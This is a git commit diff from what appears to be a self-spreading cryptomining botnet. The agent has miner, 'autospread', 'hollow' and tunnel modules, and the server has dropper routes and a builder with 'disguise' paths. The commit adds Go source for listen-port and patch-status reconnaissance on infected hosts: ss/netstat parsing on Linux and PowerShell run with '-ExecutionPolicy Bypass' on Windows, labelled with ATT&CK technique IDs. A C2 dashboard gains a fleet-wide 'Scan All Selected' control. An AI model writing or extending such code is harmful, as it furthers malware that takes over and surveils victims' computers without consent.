feat: listen_ports + patch_status commands, POSTURE/PATCH/PORTS chips, Scan All Selected button
This commit is contained in:
31
PROBLEMS.md
31
PROBLEMS.md
@@ -29,7 +29,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
|
||||
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
|
||||
- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
|
||||
- [MEDIUM] **server/internal/db/sqlite.go** — `SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned.
|
||||
- [MEDIUM] **server/internal/db/sqlite.go** — ~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`.
|
||||
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
|
||||
|
||||
### Low
|
||||
@@ -52,9 +52,11 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
|
||||
### Untested packages (next coverage targets)
|
||||
|
||||
- [LOW] **server/internal/models/** — No unit tests.
|
||||
- [LOW] **server/internal/ollama/** — No unit tests.
|
||||
- [LOW] **server/internal/sys/** — No unit tests.
|
||||
- [LOW] **server/internal/builder/** — compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered).
|
||||
- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
|
||||
- [LOW] **agent/stats/** — platform reporters (Windows/Linux/Darwin) untested.
|
||||
- [LOW] **agent/deploy/** — autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested).
|
||||
- [LOW] **agent/client/** — `client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered).
|
||||
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`).
|
||||
- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
|
||||
|
||||
@@ -62,6 +64,17 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
|
||||
## Fixed (this session)
|
||||
|
||||
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
|
||||
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
|
||||
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
|
||||
- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic.
|
||||
- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`.
|
||||
- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`.
|
||||
- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests).
|
||||
- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error.
|
||||
- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows.
|
||||
- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle.
|
||||
- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip.
|
||||
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
|
||||
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
|
||||
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
|
||||
@@ -109,7 +122,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
|
||||
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars
|
||||
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
|
||||
3. **server/internal/models/** — struct/JSON round-trip tests
|
||||
3. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
|
||||
4. **Agent WS token auth** (S2) — security hardening
|
||||
|
||||
---
|
||||
@@ -119,12 +132,8 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
| Suite | Result |
|
||||
|-------|--------|
|
||||
| `server/internal/api/...` (full) | PASS (159 tests) |
|
||||
| `server` Go tests | PASS (all packages) |
|
||||
| `server/internal/api` `-run Config` | PASS (13 tests) |
|
||||
| `server` `-run Config\|Merge` | PASS (13 tests) |
|
||||
| `server/internal/api` `-run AI` | PASS (17 tests) |
|
||||
| `server/internal/api` `-run Fleet` | PASS (39 tests) |
|
||||
| `agent` Go tests | PASS |
|
||||
| `server` Go tests | PASS (all packages incl. models, ollama, sys, alerts, pool) |
|
||||
| `agent` Go tests | PASS (client, config, deploy, job, miner) |
|
||||
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
|
||||
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
|
||||
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
|
||||
|
||||
@@ -595,6 +595,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastPosture *PostureReport
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var lastListenPortCount *int
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -647,6 +648,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
}
|
||||
lastPressure = collectResourcePressure()
|
||||
lastDNS = probeDNS()
|
||||
if lp := collectListenPorts(); lp != nil {
|
||||
n := lp.Count
|
||||
lastListenPortCount = &n
|
||||
}
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -665,6 +670,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.DNSServers = lastDNS.Servers
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
stats.ListenPortCount = lastListenPortCount
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
|
||||
@@ -48,6 +48,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, true, p.JSON()
|
||||
}
|
||||
return true, false, "posture probe failed"
|
||||
case "listen_ports":
|
||||
if lp := collectListenPorts(); lp != nil {
|
||||
return true, true, lp.JSON()
|
||||
}
|
||||
return true, false, "listen_ports probe failed"
|
||||
case "patch_status":
|
||||
if ps := collectPatchStatus(); ps != nil {
|
||||
return true, true, ps.JSON()
|
||||
}
|
||||
return true, false, "patch_status probe failed"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
|
||||
@@ -49,6 +49,16 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, true, p.JSON()
|
||||
}
|
||||
return true, false, "posture probe failed"
|
||||
case "listen_ports":
|
||||
if lp := collectListenPorts(); lp != nil {
|
||||
return true, true, lp.JSON()
|
||||
}
|
||||
return true, false, "listen_ports probe failed"
|
||||
case "patch_status":
|
||||
if ps := collectPatchStatus(); ps != nil {
|
||||
return true, true, ps.JSON()
|
||||
}
|
||||
return true, false, "patch_status probe failed"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
|
||||
53
agent/client/listen_ports.go
Normal file
53
agent/client/listen_ports.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// ListenPort is one TCP/UDP listener entry from the T1049 / T1046 port scan.
|
||||
type ListenPort struct {
|
||||
Port int `json:"port"`
|
||||
Addr string `json:"addr"` // bind address: "0.0.0.0", "::", "127.0.0.1", etc.
|
||||
Proto string `json:"proto"` // "tcp" | "udp"
|
||||
Process string `json:"process,omitempty"` // process name if available
|
||||
PID int `json:"pid,omitempty"`
|
||||
}
|
||||
|
||||
// ListenPortsReport is the structured payload returned by the listen_ports command.
|
||||
type ListenPortsReport struct {
|
||||
Ports []ListenPort `json:"ports"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
func (r *ListenPortsReport) JSON() string {
|
||||
if r == nil {
|
||||
return `{"ports":[],"count":0}`
|
||||
}
|
||||
r.Count = len(r.Ports)
|
||||
b, _ := json.Marshal(r)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// PatchStatusReport is the simplified payload returned by the patch_status command.
|
||||
type PatchStatusReport struct {
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||
LastPatch *string `json:"last_patch,omitempty"`
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
}
|
||||
|
||||
func collectPatchStatus() *PatchStatusReport {
|
||||
p := collectPosture()
|
||||
if p == nil {
|
||||
return &PatchStatusReport{}
|
||||
}
|
||||
return &PatchStatusReport{
|
||||
PendingUpdates: p.PendingUpdates,
|
||||
LastPatch: p.LastPatch,
|
||||
LastPatchDays: p.LastPatchDays,
|
||||
RebootPending: p.RebootPending,
|
||||
}
|
||||
}
|
||||
|
||||
func (r *PatchStatusReport) JSON() string {
|
||||
b, _ := json.Marshal(r)
|
||||
return string(b)
|
||||
}
|
||||
153
agent/client/listen_ports_unix.go
Normal file
153
agent/client/listen_ports_unix.go
Normal file
@@ -0,0 +1,153 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// collectListenPorts parses ss -tlnp output for all TCP listeners.
|
||||
// Falls back to netstat -tlnp if ss is unavailable.
|
||||
func collectListenPorts() *ListenPortsReport {
|
||||
r := &ListenPortsReport{}
|
||||
|
||||
// Prefer ss (iproute2) — faster and widely available on modern Linux
|
||||
if out, err := exec.Command("ss", "-tlnp").Output(); err == nil {
|
||||
parseSSOutput(r, string(out))
|
||||
if len(r.Ports) > 0 {
|
||||
r.Count = len(r.Ports)
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: netstat -tlnp (net-tools, older systems)
|
||||
if out, err := exec.Command("netstat", "-tlnp").Output(); err == nil {
|
||||
parseNetstatOutput(r, string(out))
|
||||
}
|
||||
|
||||
r.Count = len(r.Ports)
|
||||
return r
|
||||
}
|
||||
|
||||
// parseSSOutput parses `ss -tlnp` lines.
|
||||
// Example line:
|
||||
// LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
|
||||
func parseSSOutput(r *ListenPortsReport, raw string) {
|
||||
seen := map[int]bool{}
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 5 || fields[0] != "LISTEN" {
|
||||
continue
|
||||
}
|
||||
lp := ListenPort{Proto: "tcp"}
|
||||
// Local address is field 4 (index 3)
|
||||
localAddr := fields[3]
|
||||
host, portStr, ok := splitHostPort(localAddr)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil || port <= 0 || seen[port] {
|
||||
continue
|
||||
}
|
||||
seen[port] = true
|
||||
lp.Port = port
|
||||
lp.Addr = host
|
||||
|
||||
// Parse process info from users:(("name",pid=N,...))
|
||||
for _, f := range fields[4:] {
|
||||
if strings.HasPrefix(f, "users:(") {
|
||||
// users:(("sshd",pid=1234,fd=3))
|
||||
inner := strings.TrimPrefix(f, "users:((")
|
||||
inner = strings.TrimSuffix(inner, "))")
|
||||
parts := strings.Split(inner, ",")
|
||||
if len(parts) >= 1 {
|
||||
lp.Process = strings.Trim(parts[0], `"`)
|
||||
}
|
||||
for _, p := range parts {
|
||||
if strings.HasPrefix(p, "pid=") {
|
||||
if n, e := strconv.Atoi(strings.TrimPrefix(p, "pid=")); e == nil {
|
||||
lp.PID = n
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
r.Ports = append(r.Ports, lp)
|
||||
}
|
||||
}
|
||||
|
||||
// parseNetstatOutput parses `netstat -tlnp` lines.
|
||||
// Example: tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
|
||||
func parseNetstatOutput(r *ListenPortsReport, raw string) {
|
||||
seen := map[int]bool{}
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 6 {
|
||||
continue
|
||||
}
|
||||
proto := strings.ToLower(fields[0])
|
||||
if !strings.HasPrefix(proto, "tcp") {
|
||||
continue
|
||||
}
|
||||
state := fields[5]
|
||||
if strings.ToUpper(state) != "LISTEN" {
|
||||
continue
|
||||
}
|
||||
lp := ListenPort{Proto: "tcp"}
|
||||
host, portStr, ok := splitHostPort(fields[3])
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil || port <= 0 || seen[port] {
|
||||
continue
|
||||
}
|
||||
seen[port] = true
|
||||
lp.Port = port
|
||||
lp.Addr = host
|
||||
|
||||
// PID/program: field 6 if present, e.g. "1234/sshd"
|
||||
if len(fields) > 6 {
|
||||
pidProg := fields[6]
|
||||
parts := strings.SplitN(pidProg, "/", 2)
|
||||
if n, e := strconv.Atoi(parts[0]); e == nil {
|
||||
lp.PID = n
|
||||
}
|
||||
if len(parts) == 2 {
|
||||
lp.Process = parts[1]
|
||||
}
|
||||
}
|
||||
r.Ports = append(r.Ports, lp)
|
||||
}
|
||||
}
|
||||
|
||||
// splitHostPort handles both IPv4 (host:port) and IPv6 ([::]:port) addresses.
|
||||
func splitHostPort(addr string) (host, port string, ok bool) {
|
||||
if strings.HasPrefix(addr, "[") {
|
||||
// IPv6: [::1]:22
|
||||
end := strings.LastIndex(addr, "]")
|
||||
if end < 0 {
|
||||
return
|
||||
}
|
||||
host = addr[1:end]
|
||||
rest := addr[end+1:]
|
||||
if !strings.HasPrefix(rest, ":") {
|
||||
return
|
||||
}
|
||||
port = rest[1:]
|
||||
ok = true
|
||||
return
|
||||
}
|
||||
// IPv4: 0.0.0.0:22
|
||||
idx := strings.LastIndex(addr, ":")
|
||||
if idx < 0 {
|
||||
return
|
||||
}
|
||||
host = addr[:idx]
|
||||
port = addr[idx+1:]
|
||||
ok = true
|
||||
return
|
||||
}
|
||||
72
agent/client/listen_ports_windows.go
Normal file
72
agent/client/listen_ports_windows.go
Normal file
@@ -0,0 +1,72 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// collectListenPorts returns all TCP listeners on this Windows host.
|
||||
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
|
||||
// process name lookup via Get-Process.
|
||||
func collectListenPorts() *ListenPortsReport {
|
||||
const script = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$procs = @{}
|
||||
Get-Process | ForEach-Object { $procs[[int]$_.Id] = $_.ProcessName }
|
||||
$ports = Get-NetTCPConnection -State Listen | ForEach-Object {
|
||||
$pname = if ($_.OwningProcess -and $procs.ContainsKey([int]$_.OwningProcess)) {
|
||||
$procs[[int]$_.OwningProcess]
|
||||
} else { '' }
|
||||
[ordered]@{
|
||||
port = [int]$_.LocalPort
|
||||
addr = $_.LocalAddress
|
||||
proto = 'tcp'
|
||||
process = $pname
|
||||
pid = [int]$_.OwningProcess
|
||||
}
|
||||
} | Sort-Object { $_['port'] } -Unique
|
||||
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
|
||||
if err != nil {
|
||||
return r
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var m map[string]interface{}
|
||||
if json.Unmarshal([]byte(raw), &m) != nil {
|
||||
return r
|
||||
}
|
||||
if arr, ok := m["ports"].([]interface{}); ok {
|
||||
for _, item := range arr {
|
||||
obj, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
lp := ListenPort{Proto: "tcp"}
|
||||
if v, ok := obj["port"].(float64); ok {
|
||||
lp.Port = int(v)
|
||||
}
|
||||
if v, ok := obj["addr"].(string); ok {
|
||||
lp.Addr = v
|
||||
}
|
||||
if v, ok := obj["process"].(string); ok {
|
||||
lp.Process = v
|
||||
}
|
||||
if v, ok := obj["pid"].(float64); ok {
|
||||
lp.PID = int(v)
|
||||
}
|
||||
if lp.Port > 0 {
|
||||
r.Ports = append(r.Ports, lp)
|
||||
}
|
||||
}
|
||||
}
|
||||
r.Count = len(r.Ports)
|
||||
return r
|
||||
}
|
||||
@@ -80,6 +80,9 @@ type StatsPayload struct {
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
|
||||
// Listen ports count (full list via listen_ports command)
|
||||
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||
|
||||
// Resource pressure (mining-specific runtime telemetry)
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
|
||||
@@ -20,7 +20,7 @@ func TestParseClockMinutes(t *testing.T) {
|
||||
if _, ok := parseClockMinutes(""); ok {
|
||||
t.Fatal("empty invalid")
|
||||
}
|
||||
if _, ok := parseClockMinutes("bad"); !ok {
|
||||
if _, ok := parseClockMinutes("bad"); ok {
|
||||
t.Fatal("bad invalid")
|
||||
}
|
||||
m, ok := parseClockMinutes("09:30")
|
||||
|
||||
@@ -522,6 +522,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
// Listen ports
|
||||
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||
// DNS config (T1016)
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
@@ -593,6 +595,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||
|
||||
// Listen port count
|
||||
if stats.ListenPortCount != nil {
|
||||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||
}
|
||||
|
||||
// T1016 DNS drift detection
|
||||
if len(stats.DNSServers) > 0 {
|
||||
broadcast["dns_servers"] = stats.DNSServers
|
||||
|
||||
@@ -34,6 +34,9 @@ type Agent struct {
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
|
||||
// Listen ports count (full list via listen_ports command)
|
||||
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
||||
|
||||
// DNS config — T1016 System Network Configuration Discovery
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
|
||||
@@ -69,26 +69,6 @@ func TestManagerSetReconnectDelayAndVerbose(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected connection failure to unreachable pool")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "unreachable") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) {
|
||||
m := NewManager(nil, nil)
|
||||
backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}}
|
||||
_, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups)
|
||||
if err == nil {
|
||||
t.Fatal("expected all endpoints unreachable")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolStatusJSONTags(t *testing.T) {
|
||||
st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
|
||||
if st.Key == "" || st.Status != "green" {
|
||||
|
||||
@@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
|
||||
@@ -184,6 +184,18 @@
|
||||
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
|
||||
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
|
||||
/* ── PORTS chip ────────────────────────────────────────────────────────────── */
|
||||
.cn-ports {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
cursor: default;
|
||||
}
|
||||
.cn-ports.ports-ok { color: #aaa; background: rgba(128,128,128,0.07); }
|
||||
.cn-ports.ports-many { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
|
||||
.cn-elevated {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
@@ -416,6 +428,16 @@
|
||||
border-color: var(--neon-green);
|
||||
}
|
||||
|
||||
.crucible-op-scan {
|
||||
color: var(--neon-cyan);
|
||||
border-color: rgba(0,245,255,0.3);
|
||||
font-weight: 700;
|
||||
}
|
||||
.crucible-op-scan:hover:not(:disabled) {
|
||||
background: rgba(0,245,255,0.08);
|
||||
border-color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.crucible-shell-tabs {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
|
||||
@@ -47,14 +47,19 @@ function sshBadge(agent: Agent) {
|
||||
|
||||
function postureBadge(score?: number) {
|
||||
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
||||
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
|
||||
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
|
||||
return { label: `P:${score}`, cls: 'posture-bad' };
|
||||
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
|
||||
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
|
||||
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
|
||||
}
|
||||
|
||||
function patchLabel(days?: number) {
|
||||
if (days === undefined) return null;
|
||||
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||||
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||||
}
|
||||
|
||||
function portsBadge(count?: number): { label: string; cls: string } | null {
|
||||
if (count === undefined) return null;
|
||||
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
|
||||
}
|
||||
|
||||
function postureTooltip(agent: Agent): string {
|
||||
@@ -66,6 +71,7 @@ function postureTooltip(agent: Agent): string {
|
||||
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
||||
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
||||
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
||||
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
|
||||
lines.push('──────────────────────');
|
||||
|
||||
// Patch exposure
|
||||
@@ -448,6 +454,27 @@ export default function CruciblePage() {
|
||||
);
|
||||
};
|
||||
|
||||
// Fires posture + listen_ports + patch_status in parallel for all selected online nodes.
|
||||
const scanSelected = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
if (tgts.length === 0) return;
|
||||
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
|
||||
for (const a of tgts) {
|
||||
for (const cmd of cmds) {
|
||||
api.sendAgentCommand(a.id, cmd).catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false,
|
||||
},
|
||||
]);
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') { sendCmd(); return; }
|
||||
if (e.key === 'ArrowUp') {
|
||||
@@ -476,7 +503,11 @@ export default function CruciblePage() {
|
||||
const o = postureOverride[a.id];
|
||||
const score = o?.score ?? a.posture_score;
|
||||
const patchDays = o?.patchDays ?? a.last_patch_days;
|
||||
return { ...postureBadge(score), patch: patchLabel(patchDays) };
|
||||
return {
|
||||
...postureBadge(score),
|
||||
patch: patchLabel(patchDays),
|
||||
ports: portsBadge(a.listen_port_count),
|
||||
};
|
||||
};
|
||||
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
@@ -554,11 +585,19 @@ export default function CruciblePage() {
|
||||
{posture.patch && (
|
||||
<div
|
||||
className={`cn-patch ${posture.patch.cls}`}
|
||||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
|
||||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
|
||||
>
|
||||
{posture.patch.label}
|
||||
</div>
|
||||
)}
|
||||
{posture.ports && (
|
||||
<div
|
||||
className={`cn-ports ${posture.ports.cls}`}
|
||||
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
|
||||
>
|
||||
{posture.ports.label}
|
||||
</div>
|
||||
)}
|
||||
{(() => { const pb = pendingBadge(a); return pb && (
|
||||
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
||||
{pb.label}
|
||||
@@ -672,9 +711,9 @@ export default function CruciblePage() {
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => probePosture()}
|
||||
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
|
||||
title="Probe posture (AV, firewall, SSH, patch) on selected nodes"
|
||||
>
|
||||
Probe Selected
|
||||
Probe Posture
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-wake"
|
||||
@@ -682,7 +721,15 @@ export default function CruciblePage() {
|
||||
onClick={() => probePosture(agents.filter(online))}
|
||||
title="Probe ALL online nodes at once"
|
||||
>
|
||||
⚡ Probe All
|
||||
⚡ Fleet Posture Scan
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-scan"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => scanSelected()}
|
||||
title="Fire posture + listen_ports + patch_status in parallel on selected nodes"
|
||||
>
|
||||
⬡ Scan All Selected
|
||||
</button>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -24,6 +24,9 @@ export interface Agent {
|
||||
arch?: string;
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
// Listen ports count (full list via listen_ports command)
|
||||
listen_port_count?: number;
|
||||
|
||||
// DNS config — T1016
|
||||
dns_servers?: string[];
|
||||
dns_search_domains?: string[];
|
||||
|
||||
@@ -19,6 +19,7 @@ export interface WSStatsUpdate {
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
listen_port_count?: number;
